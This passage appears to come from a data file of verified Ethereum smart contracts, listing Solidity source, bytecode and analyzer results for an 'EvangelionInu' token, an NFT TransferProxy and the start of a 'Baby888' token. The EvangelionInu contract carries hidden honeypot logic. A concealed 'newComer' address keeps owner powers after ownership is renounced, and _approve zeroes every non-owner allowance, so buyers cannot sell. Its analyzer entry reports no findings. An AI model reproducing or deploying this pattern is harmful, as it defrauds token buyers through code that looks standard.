function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract EvangelionInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**11 * 10**18;
string private _name = ' Evangelion Inu ';
string private _symbol = 'EVANGELION';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212202e0ad553cb0e35bec690a3d8cbf2b00488eca0e07e3526ba42d3c5be2f55aaa064736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 158 |
0x596539344cAe6342167c298eF83CAF51878Fa074 | /**
*Submitted for verification at Etherscan.io on 2022-02-11
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
function mintAndTransfer(address from, address to, uint256 itemId, uint256 fee, string memory _tokenURI, bytes memory data)external returns(uint256);
}
interface IERC1155 is IERC165 {
/**
@dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard).
The `_operator` argument MUST be msg.sender.
The `_from` argument MUST be the address of the holder whose balance is decreased.
The `_to` argument MUST be the address of the recipient whose balance is increased.
The `_id` argument MUST be the token type being transferred.
The `_value` argument MUST be the number of tokens the holder balance is decreased by and match what the recipient balance is increased by.
When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address).
When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address).
*/
event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value);
/**
@dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard).
The `_operator` argument MUST be msg.sender.
The `_from` argument MUST be the address of the holder whose balance is decreased.
The `_to` argument MUST be the address of the recipient whose balance is increased.
The `_ids` argument MUST be the list of tokens being transferred.
The `_values` argument MUST be the list of number of tokens (matching the list and order of tokens specified in _ids) the holder balance is decreased by and match what the recipient balance is increased by.
When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address).
When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address).
*/
event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values);
/**
@dev MUST emit when approval for a second party/operator address to manage all tokens for an owner address is enabled or disabled (absense of an event assumes disabled).
*/
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/**
@dev MUST emit when the URI is updated for a token ID.
URIs are defined in RFC 3986.
The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema".
*/
event URI(string _value, uint256 indexed _id);
/**
@notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if balance of holder for token `_id` is lower than the `_value` sent.
MUST revert on any other error.
MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard).
After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _id ID of the token type
@param _value Transfer amount
@param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to`
*/
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external;
/**
@notice Transfers `_values` amount(s) of `_ids` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if length of `_ids` is not the same as length of `_values`.
MUST revert if any of the balance(s) of the holder(s) for token(s) in `_ids` is lower than the respective amount(s) in `_values` sent to the recipient.
MUST revert on any other error.
MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see "Safe Transfer Rules" section of the standard).
Balance changes and events MUST follow the ordering of the arrays (_ids[0]/_values[0] before _ids[1]/_values[1], etc).
After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _ids IDs of each token type (order and length must match _values array)
@param _values Transfer amounts per token type (order and length must match _ids array)
@param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to`
*/
function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external;
function mintAndTransfer(address from, address to, uint256 itemId, uint256 fee, uint256 _supply, string memory _tokenURI, uint256 qty, bytes memory data)external returns(uint256);
}
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TransferProxy {
event operatorChanged(address indexed from, address indexed to);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
address public owner;
address public operator;
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
modifier onlyOperator() {
require(operator == msg.sender, "OperatorRole: caller does not have the Operator role");
_;
}
/** change the OperatorRole from contract creator address to trade contractaddress
@param _operator :trade address
*/
function changeOperator(address _operator) public onlyOwner returns(bool) {
require(_operator != address(0), "Operator: new operator is the zero address");
operator = _operator;
emit operatorChanged(address(0),operator);
return true;
}
/** change the Ownership from current owner to newOwner address
@param newOwner : newOwner address */
function ownerTransfership(address newOwner) public onlyOwner returns(bool){
require(newOwner != address(0), "Ownable: new owner is the zero address");
owner = newOwner;
emit OwnershipTransferred(owner, newOwner);
return true;
}
function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external onlyOperator {
token.safeTransferFrom(from, to, tokenId);
}
function erc721mintAndTransfer(IERC721 token, address from, address to, uint256 tokenId, uint256 fee, string memory tokenURI, bytes calldata data) external onlyOperator {
token.mintAndTransfer(from, to, tokenId, fee, tokenURI,data);
}
function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 tokenId, uint256 value, bytes calldata data) external onlyOperator {
token.safeTransferFrom(from, to, tokenId, value, data);
}
function erc1155mintAndTransfer(IERC1155 token, address from, address to, uint256 tokenId, uint256 fee , uint256 supply, string memory tokenURI, uint256 qty, bytes calldata data) external onlyOperator {
token.mintAndTransfer(from, to, tokenId, fee, supply, tokenURI, qty,data);
}
function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external onlyOperator {
require(token.transferFrom(from, to, value), "failure while transferring");
}
} | 0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063776062c311610066578063776062c3146101135780638da5cb5b146101265780639c1c2ee914610139578063e870a3201461014c578063f709b9061461015f57600080fd5b806306394c9b14610098578063570ca735146100c05780636fdc202f146100eb57806374451110146100fe575b600080fd5b6100ab6100a636600461082f565b610172565b60405190151581526020015b60405180910390f35b6001546100d3906001600160a01b031681565b6040516001600160a01b0390911681526020016100b7565b6100ab6100f936600461082f565b61028d565b61011161010c366004610a20565b61039d565b005b6101116101213660046109cf565b61045c565b6000546100d3906001600160a01b031681565b610111610147366004610875565b610562565b61011161015a366004610904565b6105fd565b61011161016d3660046109cf565b6106b4565b600080546001600160a01b031633146101d25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b03821661023b5760405162461bcd60e51b815260206004820152602a60248201527f4f70657261746f723a206e6577206f70657261746f7220697320746865207a65604482015269726f206164647265737360b01b60648201526084016101c9565b600180546001600160a01b0319166001600160a01b0384169081179091556040516000907f1a377613c0f1788c756a416e15f930cf9e84c3a5e808fa2f00b5a18a91a7b864908290a35060015b919050565b600080546001600160a01b031633146102e85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016101c9565b6001600160a01b03821661034d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101c9565b600080546001600160a01b0319166001600160a01b0384169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a3506001919050565b6001546001600160a01b031633146103c75760405162461bcd60e51b81526004016101c990610c73565b60405163066e575d60e41b81526001600160a01b038916906366e575d0906103ff908a908a908a908a908a908a908a90600401610bab565b602060405180830381600087803b15801561041957600080fd5b505af115801561042d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104519190610ad5565b505050505050505050565b6001546001600160a01b031633146104865760405162461bcd60e51b81526004016101c990610c73565b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd90606401602060405180830381600087803b1580156104d857600080fd5b505af11580156104ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105109190610853565b61055c5760405162461bcd60e51b815260206004820152601a60248201527f6661696c757265207768696c65207472616e7366657272696e6700000000000060448201526064016101c9565b50505050565b6001546001600160a01b0316331461058c5760405162461bcd60e51b81526004016101c990610c73565b604051637921219560e11b81526001600160a01b0388169063f242432a906105c290899089908990899089908990600401610b64565b600060405180830381600087803b1580156105dc57600080fd5b505af11580156105f0573d6000803e3d6000fd5b5050505050505050505050565b6001546001600160a01b031633146106275760405162461bcd60e51b81526004016101c990610c73565b60405162ba2e2760e31b81526001600160a01b038b16906305d1713890610662908c908c908c908c908c908c908c908c908c90600401610c06565b602060405180830381600087803b15801561067c57600080fd5b505af1158015610690573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f09190610ad5565b6001546001600160a01b031633146106de5760405162461bcd60e51b81526004016101c990610c73565b604051632142170760e11b81526001600160a01b0384811660048301528381166024830152604482018390528516906342842e0e90606401600060405180830381600087803b15801561073057600080fd5b505af1158015610744573d6000803e3d6000fd5b5050505050505050565b803561028881610cdd565b60008083601f84011261076b57600080fd5b50813567ffffffffffffffff81111561078357600080fd5b60208301915083602082850101111561079b57600080fd5b9250929050565b600082601f8301126107b357600080fd5b813567ffffffffffffffff808211156107ce576107ce610cc7565b604051601f8301601f19908116603f011681019082821181831017156107f6576107f6610cc7565b8160405283815286602085880101111561080f57600080fd5b836020870160208301376000602085830101528094505050505092915050565b60006020828403121561084157600080fd5b813561084c81610cdd565b9392505050565b60006020828403121561086557600080fd5b8151801515811461084c57600080fd5b600080600080600080600060c0888a03121561089057600080fd5b873561089b81610cdd565b965060208801356108ab81610cdd565b955060408801356108bb81610cdd565b9450606088013593506080880135925060a088013567ffffffffffffffff8111156108e557600080fd5b6108f18a828b01610759565b989b979a50959850939692959293505050565b6000806000806000806000806000806101208b8d03121561092457600080fd5b8a3561092f81610cdd565b995060208b013561093f81610cdd565b985061094d60408c0161074e565b975060608b0135965060808b0135955060a08b0135945060c08b013567ffffffffffffffff8082111561097f57600080fd5b61098b8e838f016107a2565b955060e08d013594506101008d01359150808211156109a957600080fd5b506109b68d828e01610759565b915080935050809150509295989b9194979a5092959850565b600080600080608085870312156109e557600080fd5b84356109f081610cdd565b93506020850135610a0081610cdd565b92506040850135610a1081610cdd565b9396929550929360600135925050565b60008060008060008060008060e0898b031215610a3c57600080fd5b8835610a4781610cdd565b97506020890135610a5781610cdd565b96506040890135610a6781610cdd565b9550606089013594506080890135935060a089013567ffffffffffffffff80821115610a9257600080fd5b610a9e8c838d016107a2565b945060c08b0135915080821115610ab457600080fd5b50610ac18b828c01610759565b999c989b5096995094979396929594505050565b600060208284031215610ae757600080fd5b5051919050565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6000815180845260005b81811015610b3d57602081850181015186830182015201610b21565b81811115610b4f576000602083870101525b50601f01601f19169290920160200192915050565b6001600160a01b03878116825286166020820152604081018590526060810184905260a060808201819052600090610b9f9083018486610aee565b98975050505050505050565b6001600160a01b03888116825287166020820152604081018690526060810185905260c060808201819052600090610be590830186610b17565b82810360a0840152610bf8818587610aee565b9a9950505050505050505050565b6001600160a01b038a811682528916602082015260408101889052606081018790526080810186905261010060a08201819052600090610c4883820188610b17565b90508560c084015282810360e0840152610c63818587610aee565b9c9b505050505050505050505050565b60208082526034908201527f4f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861604082015273766520746865204f70657261746f7220726f6c6560601b606082015260800190565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610cf257600080fd5b5056fea264697066735822122008a6559621f3e34f268c8f9ca7810a199617ea73da0929004e7d5dd0277e4fe864736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 159 |
0x338b2d6337b4f820fabb0ad54f514061c58fa0e3 | /**
*Submitted for verification at Etherscan.io on 2021-09-20
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Baby888 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "@Baby888s";
string private constant _symbol = "B888";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
